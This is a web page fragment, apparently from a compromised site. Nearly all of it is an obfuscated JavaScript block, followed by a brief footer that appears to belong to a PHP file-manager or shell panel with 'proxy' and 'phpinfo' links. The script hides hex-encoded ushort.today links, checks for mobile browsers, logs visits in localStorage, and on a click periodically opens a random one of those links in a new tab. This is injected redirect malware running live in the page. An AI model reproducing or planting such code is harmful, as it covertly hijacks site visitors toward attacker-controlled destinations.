_0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x58\x74\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x51\x64\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x76\x71\x55\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x61\x52\x65\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x47\x48\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x76\x4d\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x78\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x53\x6c\x4b\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x61\x4c\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x49\x68\x56\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.08 |
proxy
|
phpinfo
|
Settings